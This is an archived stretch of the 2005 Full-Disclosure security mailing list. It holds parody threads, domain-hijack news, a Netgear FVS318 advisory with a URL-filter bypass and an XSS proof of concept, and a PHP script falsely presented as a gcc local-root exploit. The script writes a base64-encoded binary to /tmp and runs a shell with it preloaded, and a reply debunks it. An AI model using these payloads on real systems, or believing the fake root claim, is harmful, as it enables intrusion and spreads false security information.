From als at thangorodrim.de  Mon Jan 17 01:46:31 2005
From: als at thangorodrim.de (Als)
Date: Sun, 16 Jan 2005 22:46:31 -0300
Subject: [Full-Disclosure] Re: Msg reply
Message-ID: <kmujmvxwoodfuydjpgx@lists.netsys.com>

An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050116/717cfac3/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: Readme.com
Type: application/octet-stream
Size: 20871 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050116/717cfac3/attachment.obj 

From fd.lists.dmargoli at af0.net  Mon Jan 17 00:20:33 2005
From: fd.lists.dmargoli at af0.net (Dan Margolis)
Date: Sun, 16 Jan 2005 19:20:33 -0500
Subject: [Full-Disclosure] Wide spread DSV
In-Reply-To: <200501162317.j0GNHfrs023521@lists.netsys.com>
References: <200501162317.j0GNHfrs023521@lists.netsys.com>
Message-ID: <20050117002033.GC32311@specialk>

On Sun, Jan 16, 2005 at 05:17:46PM -0600, RandallM wrote:
> Problem: Down Syndrome Virus (DSV)

Oh, look! Yet another FD parody mail. Wow, this one is just as clever as
the 20 or so that preceded it in the last week! Good job, there; well
done! 

Clever satirists who clog a supposedly-serious mailing list with stupid
jokes that weren't funny the first 10 times, I salute you!

-- 
Dan


From krmaxwell at gmail.com  Mon Jan 17 04:00:05 2005
From: krmaxwell at gmail.com (Kyle Maxwell)
Date: Sun, 16 Jan 2005 22:00:05 -0600
Subject: [Full-Disclosure] Wide spread DSV
In-Reply-To: <20050117002033.GC32311@specialk>
References: <200501162317.j0GNHfrs023521@lists.netsys.com>
	<20050117002033.GC32311@specialk>
Message-ID: <4f0e191c050116200079d617ce@mail.gmail.com>

On Sun, 16 Jan 2005 19:20:33 -0500, Dan Margolis
<fd.lists.dmargoli at af0.net> wrote:
> Oh, look! Yet another FD parody mail. Wow, this one is just as clever as
> the 20 or so that preceded it in the last week! Good job, there; well
> done!
> 
> Clever satirists who clog a supposedly-serious mailing list with stupid
> jokes that weren't funny the first 10 times, I salute you!

Oh, look! Yet another FD complaint about parodies. Wow, this one is
just as useful as the 200 or so that preceded it in the last week!
Good job, there; well done!

Annoying complainers who clog a public unmoderated mailing list with
stupid grips that weren't useful the first 100 times (and "wasted"
more bandwidth than the original posts), I salute you!

C'mon, dude, if you don't like the parody mails or just don't find
them funny, don't read them. I find them a nice little distraction
from an otherwise too-serious world.

-- 
Kyle Maxwell
[krmaxwell at gmail.com]


From nodialtone at comcast.net  Mon Jan 17 04:48:10 2005
From: nodialtone at comcast.net (Byron Copeland)
Date: 16 Jan 2005 23:48:10 -0500
Subject: [Full-Disclosure] Wide spread DSV
In-Reply-To: <4f0e191c050116200079d617ce@mail.gmail.com>
References: <200501162317.j0GNHfrs023521@lists.netsys.com>
	<20050117002033.GC32311@specialk>
	<4f0e191c050116200079d617ce@mail.gmail.com>
Message-ID: <1105937290.4619.32.camel@Stargate>


> C'mon, dude, if you don't like the parody mails or just don't find
> them funny, don't read them. I find them a nice little distraction
> from an otherwise too-serious world.

Saaaalute!

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050116/590094ea/attachment.bin 

From zzagorrzzagorr at hotmail.com  Mon Jan 17 08:30:48 2005
From: zzagorrzzagorr at hotmail.com (ZzagorR ZzagorR)
Date: Mon, 17 Jan 2005 08:30:48 +0000
Subject: [Full-Disclosure] GNU gcc vuln. < 3.4.3 local root (.php)
Message-ID: <BAY18-F2232F51F71B8CC25206EFDCF8E0@phx.gbl>

#!/usr/bin/php -a
<?
/*
GNU gcc vuln. < 3.4.3
By ZzagorR (MARMARA UNIVERSITY)
zzagorrzzagorr at hotmail.com
http://www.rootbinbash.com
thanks to [NST]
ah vizeler ahhhhh
*/
/*
sh-2.04$ chmod 777 gcc.php
chmod 777 gcc.php
sh-2.04$
sh-2.04$ ./gcc.php        -------OR>>>>>>  sh-2.04$ php gcc.php
./gcc.php
Interactive mode enabled

X-Powered-By: PHP/4.1.2
Content-type: text/html

[+] File Created
[+] chmod OK
[+] export OK
id
id

uid=0(root) gid=0(root) groups=48(apache)
uname -a
uname -a

Linux *.*****.** 2.4.9-6smp #1 SMP Thu Oct 18 09:22:57 EDT 2001 i686 unknown
cat /proc/version
cat /proc/version

Linux version 2.4.9-6smp (bhcompile at stripples.devel.redhat.com) (gcc version 
2.96 20000731 (Red Hat Linux 7.1 2.96-85)) #1 SMP Thu Oct 18 09:22:57 EDT 
2001

exit
exit

uid=48(apache) gid=48(apache) groups=48(apache)
sh-2.04$
sh-2.04$

*/
$sll="f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAAsAUAADQAAACQCgAAAAAAADQAIAADACgAGAAVAAEAAAAA";
$sll 
.="AAAAAAAAAAAAAAB8BwAAfAcAAAUAAAAAEAAAAQAAAHwHAAB8FwAAfBcAAAwBAAAkAQAABgAAAAAQ";
  $sll 
.="AAACAAAAjAcAAIwXAACMFwAAwAAAAMAAAAAGAAAABAAAABEAAAAkAAAAAAAAACAAAAAhAAAAAAAA";
   $sll 
.="ABcAAAAWAAAAAAAAAAAAAAAeAAAAGwAAAAAAAAAdAAAAAAAAACIAAAAVAAAAIwAAAAAAAAAAAAAA";
    $sll 
.="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
     $sll 
.="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZAAAAAAAAABoA";
      $sll 
.="AAAYAAAAAAAAAB8AAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJQAAAAAAAAAAwAB";
       $sll 
.="AAAAAABwAQAAAAAAAAMAAgAAAAAAsAMAAAAAAAADAAMAAAAAAH4EAAAAAAAAAwAEAAAAAADIBAAA";
        $sll 
.="AAAAAAMABQAAAAAA+AQAAAAAAAADAAYAAAAAADAFAAAAAAAAAwAHAAAAAABIBQAAAAAAAAMACAAA";
         $sll 
.="AAAAcAUAAAAAAAADAAkAAAAAALAFAAAAAAAAAwAKAAAAAABgBwAAAAAAAAMACwAAAAAAfBcAAAAA";
          $sll 
.="AAADAAwAAAAAAIgXAAAAAAAAAwANAAAAAACMFwAAAAAAAAMADgAAAAAATBgAAAAAAAADAA8AAAAA";
         $sll 
.="AFQYAAAAAAAAAwAQAAAAAABcGAAAAAAAAAMAEQAAAAAAiBgAAAAAAAADABIAAAAAAAAAAAAAAAAA";
        $sll 
.="AwATAAAAAAAAAAAAAAAAAAMAFACHAAAA6AYAAAoAAAASAAoAfwAAANwGAAAJAAAAEgAKAAEAAACM";
       $sll 
.="FwAAAAAAABEA8f+OAAAA9AYAAA4AAAASAAoAYgAAAAAAAAAnAAAAIgAAAHgAAADQBgAACQAAABIA";
      $sll 
.="CgAvAAAASAUAAAAAAAASAAgASgAAAAAAAAAjAAAAIgAAAKcAAACIGAAAAAAAABEA8f81AAAAYAcA";
     $sll 
.="AAAAAAASAAsAOwAAAAAAAAB7AAAAIgAAAKAAAACIGAAAAAAAABEA8f8KAAAAXBgAAAAAAAARAPH/";
    $sll 
.="swAAAKAYAAAAAAAAEQDx/yAAAAAAAAAAAAAAACAAAAAAX0RZTkFNSUMAX0dMT0JBTF9PRkZTRVRf";
   $sll 
.="VEFCTEVfAF9fZ21vbl9zdGFydF9fAF9pbml0AF9maW5pAF9fY3hhX2ZpbmFsaXplAF9fZGVyZWdp";
  $sll 
.="c3Rlcl9mcmFtZV9pbmZvAF9fcmVnaXN0ZXJfZnJhbWVfaW5mbwBnZXR1aWQAZ2V0ZXVpZABnZXRn";
$sll 
.="aWQAZ2V0ZWdpZABsaWJjLnNvLjYAX2VkYXRhAF9fYnNzX3N0YXJ0AF9lbmQAR0xJQkNfMi4xLjMA";
$sll 
.="R0xJQkNfMi4wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAQAB";
$sll 
.="AAEAAgABAAEAAgABAAEAAwABAAEAAQAAAAAAAQACAJYAAAAQAAAAAAAAAHMfaQkAAAMAuAAAABAA";
  $sll 
.="AAAQaWkNAAACAMQAAAAAAAAAfBcAAAgAAACAFwAACAAAAHgYAAAIAAAAdBgAAAYZAAB8GAAABhwA";
   $sll 
.="AIAYAAAGHwAAhBgAAAYjAABoGAAABxkAAGwYAAAHHAAAcBgAAAcfAABVieWD7BRT6AAAAABbgcMI";
    $sll 
.="EwAA6FAAAADoGwEAAOimAQAAW8nDAAAA/7MEAAAA/6MIAAAAAAAAAP+jDAAAAGgAAAAA6eD/////";
     $sll 
.="oxAAAABoCAAAAOnQ/////6MUAAAAaBAAAADpwP///1WJ5YPsFFPoAAAAAFuBw6ASAACLgygAAACF";
      $sll 
.="wHQC/9BbycOJ9pCQkJCQkJCQkJCQkFWJ5YPsFFPoAAAAAFuBw3ASAACDuyj///8AdWSDuyQAAAAA";
       $sll 
.="dC6DxPSLgxwAAAD/MOiL////g8QQ6xmNtgAAAACLgyT///+NUASJkyT///+LAP/Qi4Mk////gzgA";
        $sll 
.="deKDuyAAAAAAdA+DxPSNgyz///9Q6Dr////Hgyj///8BAAAAi13oycONdgBVieWD7BRT6AAAAABb";
         $sll 
.="gcPoEQAAW8nDifZVieWD7BRT6AAAAABbgcPQEQAAg7sYAAAAAHQWg8T4jYMsAAAAUI2DLP///1Do";
          $sll 
.="zv7//4td6MnDkFWJ5YPsFFPoAAAAAFuBw5gRAABbycOJ9lWJ5THA6wDJw412AFWJ5THA6wDJw412";
         $sll 
.="AFWJ5THA6wGQycOJ9lWJ5THA6wWQjXQmAMnDjbQmAAAAAI28JwAAAABVieWD7BBWU+gAAAAAW4HD";
        $sll 
.="PxEAAI2z8P///4O78P////90DIsG/9CDxvyDPv919FteycOQVYnlg+wUU+gAAAAAW4HDDBEAAFvJ";
       $sll 
.="w422AAAAAFWJ5YPsFFPoAAAAAFuBw/AQAACQ6Gf+//9bycN8FwAAWBgAAAAAAAAAAAAAAQAAAJYA";
      $sll 
.="AAAMAAAASAUAAA0AAABgBwAABAAAAJQAAAAFAAAAsAMAAAYAAABwAQAACgAAAM4AAAALAAAAEAAA";
     $sll 
.="AAMAAABcGAAAAgAAABgAAAAUAAAAEQAAABcAAAAwBQAAEQAAAPgEAAASAAAAOAAAABMAAAAIAAAA";
    $sll 
.="/v//b8gEAAD///9vAQAAAPD//29+BAAA+v//bwMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
   $sll 
.="AAAAAAAAAAAAAAAAAAAA/////wAAAAD/////AAAAAIwXAAAAAAAAAAAAAIYFAACWBQAApgUAAAAA";
  $sll 
.="AAB8FwAAAAAAAAAAAAAAAAAAAEdDQzogKEdOVSkgMi45NS40IDIwMDExMDAyIChEZWJpYW4gcHJl";
$sll 
.="cmVsZWFzZSkAAEdDQzogKEdOVSkgMi45NS40IDIwMDExMDAyIChEZWJpYW4gcHJlcmVsZWFzZSkA";
$sll 
.="AEdDQzogKEdOVSkgMi45NS40IDIwMDExMDAyIChEZWJpYW4gcHJlcmVsZWFzZSkAAEdDQzogKEdO";
$sll 
.="VSkgMi45NS40IDIwMDExMDAyIChEZWJpYW4gcHJlcmVsZWFzZSkAAEdDQzogKEdOVSkgMi45NS40";
  $sll 
.="IDIwMDExMDAyIChEZWJpYW4gcHJlcmVsZWFzZSkACAAAAAAAAAABAAAAMDEuMDEAAAAIAAAAAAAA";
   $sll 
.="AAEAAAAwMS4wMQAAAAgAAAAAAAAAAQAAADAxLjAxAAAACAAAAAAAAAABAAAAMDEuMDEAAAAIAAAA";
    $sll 
.="AAAAAAEAAAAwMS4wMQAAAAAuc3ltdGFiAC5zdHJ0YWIALnNoc3RydGFiAC5oYXNoAC5keW5zeW0A";
     $sll 
.="LmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbC5keW4ALnJlbC5wbHQALmlu";
      $sll 
.="aXQALnRleHQALmZpbmkALmRhdGEALmVoX2ZyYW1lAC5keW5hbWljAC5jdG9ycwAuZHRvcnMALmdv";
       $sll 
.="dAAuYnNzAC5jb21tZW50AC5ub3RlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
        $sll 
.="AAAAAAAAAAAbAAAABQAAAAIAAACUAAAAlAAAANwAAAACAAAAAAAAAAQAAAAEAAAAIQAAAAsAAAAC";
         $sll 
.="AAAAcAEAAHABAABAAgAAAwAAABUAAAAEAAAAEAAAACkAAAADAAAAAgAAALADAACwAwAAzgAAAAAA";
          $sll 
.="AAAAAAAAAQAAAAAAAAAxAAAA////bwIAAAB+BAAAfgQAAEgAAAACAAAAAAAAAAIAAAACAAAAPgAA";
         $sll 
.="AP7//28CAAAAyAQAAMgEAAAwAAAAAwAAAAEAAAAEAAAAAAAAAE0AAAAJAAAAAgAAAPgEAAD4BAAA";
        $sll 
.="OAAAAAIAAAAAAAAABAAAAAgAAABWAAAACQAAAAIAAAAwBQAAMAUAABgAAAACAAAACQAAAAQAAAAI";
       $sll 
.="AAAAXwAAAAEAAAAGAAAASAUAAEgFAAAlAAAAAAAAAAAAAAAEAAAAAAAAAFoAAAABAAAABgAAAHAF";
      $sll 
.="AABwBQAAQAAAAAAAAAAAAAAABAAAAAQAAABlAAAAAQAAAAYAAACwBQAAsAUAALABAAAAAAAAAAAA";
     $sll 
.="ABAAAAAAAAAAawAAAAEAAAAGAAAAYAcAAGAHAAAcAAAAAAAAAAAAAAAEAAAAAAAAAHEAAAABAAAA";
    $sll 
.="AwAAAHwXAAB8BwAADAAAAAAAAAAAAAAABAAAAAAAAAB3AAAAAQAAAAMAAACIFwAAiAcAAAQAAAAA";
   $sll 
.="AAAAAAAAAAQAAAAAAAAAgQAAAAYAAAADAAAAjBcAAIwHAADAAAAAAwAAAAAAAAAEAAAACAAAAIoA";
  $sll 
.="AAABAAAAAwAAAEwYAABMCAAACAAAAAAAAAAAAAAABAAAAAAAAACRAAAAAQAAAAMAAABUGAAAVAgA";
$sll 
.="AAgAAAAAAAAAAAAAAAQAAAAAAAAAmAAAAAEAAAADAAAAXBgAAFwIAAAsAAAAAAAAAAAAAAAEAAAA";
$sll 
.="BAAAAJ0AAAAIAAAAAwAAAIgYAACICAAAGAAAAAAAAAAAAAAABAAAAAAAAACiAAAAAQAAAAAAAAAA";
$sll 
.="AAAAiAgAAPAAAAAAAAAAAAAAAAEAAAAAAAAAqwAAAAcAAAAAAAAAAAAAAHgJAABkAAAAAAAAAAAA";
  $sll 
.="AAABAAAAAAAAABEAAAADAAAAAAAAAAAAAADcCQAAsQAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAgAA";
   $sll 
.="AAAAAAAAAAAAUA4AACAEAAAXAAAAMwAAAAQAAAAQAAAACQAAAAMAAAAAAAAAAAAAAHASAADbAQAA";
    $sll 
.="AAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlAAAAAAAAAADAAEAAAAAAHABAAAA";
     $sll 
.="AAAAAwACAAAAAACwAwAAAAAAAAMAAwAAAAAAfgQAAAAAAAADAAQAAAAAAMgEAAAAAAAAAwAFAAAA";
      $sll 
.="AAD4BAAAAAAAAAMABgAAAAAAMAUAAAAAAAADAAcAAAAAAEgFAAAAAAAAAwAIAAAAAABwBQAAAAAA";
       $sll 
.="AAMACQAAAAAAsAUAAAAAAAADAAoAAAAAAGAHAAAAAAAAAwALAAAAAAB8FwAAAAAAAAMADAAAAAAA";
        $sll 
.="iBcAAAAAAAADAA0AAAAAAIwXAAAAAAAAAwAOAAAAAABMGAAAAAAAAAMADwAAAAAAVBgAAAAAAAAD";
         $sll 
.="ABAAAAAAAFwYAAAAAAAAAwARAAAAAACIGAAAAAAAAAMAEgAAAAAAAAAAAAAAAAADABMAAAAAAAAA";
          $sll 
.="AAAAAAAAAwAUAAAAAAAAAAAAAAAAAAMAFQAAAAAAAAAAAAAAAAADABYAAAAAAAAAAAAAAAAAAwAX";
         $sll 
.="AAEAAACwBQAAAAAAAAAACgAQAAAAsAUAAAAAAAACAAoAIAAAAAAAAAAAAAAABADx/wEAAADgBQAA";
        $sll 
.="AAAAAAAACgArAAAAgBcAAAAAAAABAAwALwAAAFQYAAAAAAAAAQAQAD0AAACEFwAAAAAAAAEADABJ";
       $sll 
.="AAAA4AUAAAAAAAACAAoAXwAAAIgXAAAAAAAAAQANAHIAAABoBgAAAAAAAAIACgB9AAAAiBgAABgA";
      $sll 
.="AAABABIAhwAAAIAGAAAAAAAAAgAKAJMAAAC4BgAAAAAAAAIACgCeAAAAiBcAAAAAAAABAAwArAAA";
     $sll 
.="AEwYAAAAAAAAAQAPACAAAAAAAAAAAAAAAAQA8f8BAAAAEAcAAAAAAAAAAAoAugAAABAHAAAAAAAA";
    $sll 
.="AgAKANAAAABQGAAAAAAAAAEADwCTAAAARAcAAAAAAAACAAoAngAAAIgXAAAAAAAAAQAMAN0AAABY";
   $sll 
.="GAAAAAAAAAEAEADqAAAAiBcAAAAAAAABAA0AAQAAAGAHAAAAAAAAAAAKAPgAAAAAAAAAAAAAAAQA";
  $sll 
.="8f8BAAAA0AYAAAAAAAAAAAoA/gAAAHwXAAAAAAAAAQIMAAsBAADoBgAACgAAABIACgASAQAA3AYA";
$sll 
.="AAkAAAASAAoAGgEAAIwXAAAAAAAAEQDx/yMBAAD0BgAADgAAABIACgArAQAAAAAAACcAAAAiAAAA";
$sll 
.="TAEAANAGAAAJAAAAEgAKAFMBAABIBQAAAAAAABIACABZAQAAAAAAACMAAAAiAAAAfAEAAIgYAAAA";
$sll 
.="AAAAEQDx/4gBAABgBwAAAAAAABIACwCOAQAAAAAAAHsAAAAiAAAAqgEAAIgYAAAAAAAAEQDx/7EB";
  $sll 
.="AABcGAAAAAAAABEA8f/HAQAAoBgAAAAAAAARAPH/zAEAAAAAAAAAAAAAIAAAAABnY2MyX2NvbXBp";
   $sll 
.="bGVkLgBjYWxsX2dtb25fc3RhcnQAY3J0c3R1ZmYuYwBwLjMAX19EVE9SX0xJU1RfXwBjb21wbGV0";
    $sll 
.="ZWQuNABfX2RvX2dsb2JhbF9kdG9yc19hdXgAX19FSF9GUkFNRV9CRUdJTl9fAGZpbmlfZHVtbXkA";
     $sll 
.="b2JqZWN0LjExAGZyYW1lX2R1bW15AGluaXRfZHVtbXkAZm9yY2VfdG9fZGF0YQBfX0NUT1JfTElT";
      $sll 
.="VF9fAF9fZG9fZ2xvYmFsX2N0b3JzX2F1eABfX0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJB";
       $sll 
.="TUVfRU5EX18AbnN0LmMAX19kc29faGFuZGxlAGdldGdpZABnZXRldWlkAF9EWU5BTUlDAGdldGVn";
        $sll 
.="aWQAX19yZWdpc3Rlcl9mcmFtZV9pbmZvQEBHTElCQ18yLjAAZ2V0dWlkAF9pbml0AF9fZGVyZWdp";
         $sll 
.="c3Rlcl9mcmFtZV9pbmZvQEBHTElCQ18yLjAAX19ic3Nfc3RhcnQAX2ZpbmkAX19jeGFfZmluYWxp";
          $sll 
.="emVAQEdMSUJDXzIuMS4zAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABfX2dtb25f";
         $sll .="c3RhcnRfXwA=";
        echo("By ZzagorR - http://www.rootbinbash.com\n");
       $sll=base64_decode($sll);
      $tester1="/tmp/hellogcc";
     $testw = fopen($tester1, "w");
    ini_set('user_agent',__FILE__);
   fwrite($testw,$sll);
  fclose($testw);
echo("[+] File Created\n");
$islem1="chmod 777 /tmp/hellogcc";
$islem2="export LD_LIBRARY_PATH=/tmp";
   $islem3="LD_PRELOAD=/tmp/hellogcc /bin/sh";
    system($islem1);
     echo("[+] chmod OK\n");
      system($islem2);
       echo("[+] export OK [next cmd:id+enter:)]\n");
        system($islem3);
         system("id");
?>

_________________________________________________________________
Hem e-postalarinizi, hem de Bilgisayarinizi MSN G?venlik ile koruma altina 
alin! http://www.msn.com.tr/security/



From etomcat at freemail.hu  Mon Jan 17 09:10:13 2005
From: etomcat at freemail.hu (Feher Tamas)
Date: Mon, 17 Jan 2005 10:10:13 +0100 (CET)
Subject: [Full-Disclosure] Zone transfers, a spammer's dream?  
Message-ID: <freemail.20050017101013.64787@fm6.freemail.hu>

Panix as ISP's name nicked, transported to Australia
by Nick Farrell, 17 Jan 2005

ONE OF the oldest commercial ISPs in the Big Apple claimed
it had its domain name 'nicked' on Friday by an Australian
outfit. According to the Sydney Morning Herald, here, the
ownership of panix.com was moved to a company in Australia
called MelbourneIT.

The actual DNS records were moved to a company in the United
Kingdom, and panix.com's mail has was redirected to yet
another company in Canada.

According to Panix the Australian company, MelbourneIT, had
given the name back and the global internet registry and
domain name servers are now showing the correct information.

However, due to the distributed nature of the internet
domain name system, it will take four to 24 more hours
before the false data from the "hijacking" expired and is
discarded by the various name servers, the site said.

However, the word hijack might not have been a fair comment.
The panix.com domain was registered by MelbourneIT 'fair
dinkum' through a reseller. Its CEO Theo Hnarakis, said he
had not heard of Panix until he was contacted on Sunday.
Then he found out that Panix existed and he handed the
domain back.

It looks like Panix might have been one of the more
prominent outfits to fall foul of new rules relating to the
transfer of domains which came into effect in November.

Under these rules requests for transferring a domain are
automatically approved in five days unless they are denied
by the owner of the domain.

If the contact addresses given in the records were incorrect
then a request for transfer would go to a wrong address and
after five days of no response, the transfer would become
effective.


From etomcat at freemail.hu  Mon Jan 17 09:20:18 2005
From: etomcat at freemail.hu (Feher Tamas)
Date: Mon, 17 Jan 2005 10:20:18 +0100 (CET)
Subject: [Full-Disclosure] Wide spread DSV
Message-ID: <freemail.20050017102018.72330@fm10.freemail.hu>

>Problem: Down Syndrome Virus (DSV)

Let's clarify:

The Down Syndrome is caused by a genetical disorder, not a
virus.
See: http://en.wikipedia.org/wiki/Down_syndrome

Regards: Tamas Feher.


From andfarm at teknovis.com  Mon Jan 17 09:39:55 2005
From: andfarm at teknovis.com (Andrew Farmer)
Date: Mon, 17 Jan 2005 01:39:55 -0800
Subject: [Full-Disclosure] GNU gcc vuln. < 3.4.3 local root (.php)
In-Reply-To: <BAY18-F2232F51F71B8CC25206EFDCF8E0@phx.gbl>
References: <BAY18-F2232F51F71B8CC25206EFDCF8E0@phx.gbl>
Message-ID: <BE869FF4-686B-11D9-A957-000D93C0F38C@teknovis.com>

On 17 Jan 2005, at 00:30, ZzagorR ZzagorR wrote:
> #!/usr/bin/php -a
> <?
> /*
> GNU gcc vuln. < 3.4.3
> By ZzagorR (MARMARA UNIVERSITY)
> zzagorrzzagorr at hotmail.com
> http://www.rootbinbash.com
> thanks to [NST]
> ah vizeler ahhhhh
> */
<snip>

Ha ha ha.

Old "vulnerability". Equivalent to:

>> /* fake_vuln.c */
>> int getuid(void) { return 0; }
>> int geteuid(void) { return 0; }
>> int getgid(void) { return 0; }
>
> sh % gcc -shared fake_vuln.c -o fake_vuln.so
> sh % LD_PRELOAD=`pwd`/fake_vuln.so /bin/sh
> sh # id
> uid=0(root) gid=0(root) <etc etc etc>
> sh # cat /etc/shadow
> cat: /etc/shadow: Permission denied

The sad part is that rootbinbash.com has posted this as a real 
vulnerability.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050117/95598c31/attachment.bin 

From zzagorrzzagorr at hotmail.com  Mon Jan 17 10:13:07 2005
From: zzagorrzzagorr at hotmail.com (ZzagorR ZzagorR)
Date: Mon, 17 Jan 2005 10:13:07 +0000
Subject: [Full-Disclosure] GNU gcc vuln. < 3.4.3 local root (.php) 
Message-ID: <BAY18-F195AA60773EE9C3C37E4F9CF8E0@phx.gbl>

ufffff sorrrrrrrrrrrry:(

_________________________________________________________________
En etkili ve g?venilir PC Korumayi tercih edin, rahat edin! 
http://www.msn.com.tr/security/



From Valdis.Kletnieks at vt.edu  Mon Jan 17 10:43:01 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Mon, 17 Jan 2005 05:43:01 -0500
Subject: [Full-Disclosure] Wide spread DSV 
In-Reply-To: Your message of "Mon, 17 Jan 2005 10:20:18 +0100."
	<freemail.20050017102018.72330@fm10.freemail.hu> 
References: <freemail.20050017102018.72330@fm10.freemail.hu>
Message-ID: <200501171043.j0HAh1QC018288@turing-police.cc.vt.edu>

On Mon, 17 Jan 2005 10:20:18 +0100, Feher Tamas said:

> The Down Syndrome is caused by a genetical disorder, not a
> virus.
> See: http://en.wikipedia.org/wiki/Down_syndrome

Yes, but the Dumb Advisory Meme is quite viral, we've had a number of
cases break out here of late.  Amazon.com, DSV, a Windows Explorer from Team
Pwnge, and a gcc exploit.

Somewhere between zero and 4 of those were trolls.  I wish I knew which. ;)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050117/c04ce514/attachment.bin 

From etomcat at freemail.hu  Mon Jan 17 10:52:54 2005
From: etomcat at freemail.hu (Feher Tamas)
Date: Mon, 17 Jan 2005 11:52:54 +0100 (CET)
Subject: [Full-Disclosure] Illegal mind control is coming to the USA,
	black helicopters
Message-ID: <freemail.20050017115254.95285@fm5.freemail.hu>

http://news.bbc.co.uk/2/hi/uk_news/magazine/4169313.stm

... Some scientists in the US are working on more advanced
technology which might be better equipped at detecting
deception. Imagine the Pentagon equipped with a machine
which can read minds. Sound like the plot of a Hollywood
thriller? Well, it might not be that far away ...


From advisories at securinews.com  Mon Jan 17 06:13:23 2005
From: advisories at securinews.com (Paul Kurczaba)
Date: Mon, 17 Jan 2005 01:13:23 -0500
Subject: [Full-Disclosure] Multiple Vulnerabilities in Netgear FVS318 Router
Message-ID: <20050117011323.94c6f200@mail.kurczaba.com>

Multiple Vulnerabilities in Netgear FVS318 Router

http://www.securinews.com/vuln.htm?vulnid=103
-------------------------------------------------

Overview:
The Netgear FVS318 is an easy to use, firewall/router designed for home users and small businesses. SecuriNews Research has found 2 vulnerabilities in the router.


Vendor:
Netgear (http://www.netgear.com)


Affected Systems/Configuration:
2.4, possibly others


Vulnerabilities/Exploits:

1) By using HEX encoded characters, it is possible to bypass the URL filter. For example, if the router administrator blocks the phrase ".exe"; a user can encode one or more characters in the URL phrase to bypass the filter. If we encode the 'x' in ".exe", the new phrase ".e%78e" will bypass the filter.

2) The content filter/log viewer contains a Cross Site Scripting vulnerability. When a user tries to access a blocked URL phrase, it is logged in the Security Log. If a user were to inject JavaScript into a blocked URL phrase, the JavaScript would be executed by the admin's browser when the security log is viewed.


Proof of Concept:

1) Example above.

2) If the router administrator has blocked the URL phrase ".exe", a user can inject JavaScript as follows:

http://www.example.com/somefile.exe</textarea><script>alert('XSS')</script>

Note: The string "</textarea>" must be added before the injected JavaScript, as the security log is placed in a text area.


Workaround:
None.


Date Discovered:
January 14, 2005


Severity:
Low-Medium


Credit:
SecuriNews Research
http://www.securinews.com/




From var at deny-all.com  Mon Jan 17 11:36:21 2005
From: var at deny-all.com (Vincent Archer)
Date: Mon, 17 Jan 2005 12:36:21 +0100
Subject: [Full-Disclosure] Illegal mind control is coming to the USA,
	black helicopters
In-Reply-To: <freemail.20050017115254.95285@fm5.freemail.hu>
References: <freemail.20050017115254.95285@fm5.freemail.hu>
Message-ID: <20050117113621.GW39109@DAPCVA.da>

On Mon, Jan 17, 2005 at 11:52:54AM +0100, Feher Tamas wrote:
> http://news.bbc.co.uk/2/hi/uk_news/magazine/4169313.stm
> 
> ... Some scientists in the US are working on more advanced
> technology which might be better equipped at detecting
> deception. Imagine the Pentagon equipped with a machine
> which can read minds. Sound like the plot of a Hollywood
> thriller? Well, it might not be that far away ...

That's not mind control, that's mind reading. Mind control is when Bush
will win the next election with 95% of the votes, after Congress suddendly
decided out of the blue to abrogate that little constitutional amendment
that's impeding the necessary continuity of leadership during wartime.

(sorry, couldn't resist)

Bring out the tinfoil hats!!!

-- 
Vincent ARCHER
varcher at denyall.com

Tel : +33 (0)1 40 07 47 14
Fax : +33 (0)1 40 07 47 27
Deny All - 5, rue Scribe - 75009 Paris - France
www.denyall.com



From openpkg at openpkg.org  Mon Jan 17 12:29:50 2005
From: openpkg at openpkg.org (OpenPKG)
Date: Mon, 17 Jan 2005 13:29:50 +0100
Subject: [Full-Disclosure] [OpenPKG-SA-2005.002] OpenPKG Security Advisory
	(sudo)
Message-ID: <OpenPKG-SA-2005.002@openpkg.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

________________________________________________________________________

OpenPKG Security Advisory                            The OpenPKG Project
http://www.openpkg.org/security.html              http://www.openpkg.org
openpkg-security at openpkg.org                         openpkg at openpkg.org
OpenPKG-SA-2005.002                                          17-Jan-2005
________________________________________________________________________

Package:             sudo
Vulnerability:       arbitrary code execution
OpenPKG Specific:    no

Affected Releases:   Affected Packages:          Corrected Packages:
OpenPKG CURRENT      <= sudo-1.6.8p1-20041104    >= sudo-1.6.8p2-20041112
OpenPKG 2.2          <= sudo-1.6.8p1-2.2.1       >= sudo-1.6.8p1-2.2.2
OpenPKG 2.1          <= sudo-1.6.7p5-2.1.1       >= sudo-1.6.7p5-2.1.2

Dependent Packages:  none

Description:
  Liam Helmer discovered a design flaw in Sudo [0], a program used to
  control user privilege escalation. The Sudo function rebuild_env()
  fails to sufficiently clean potentially dangerous variables from
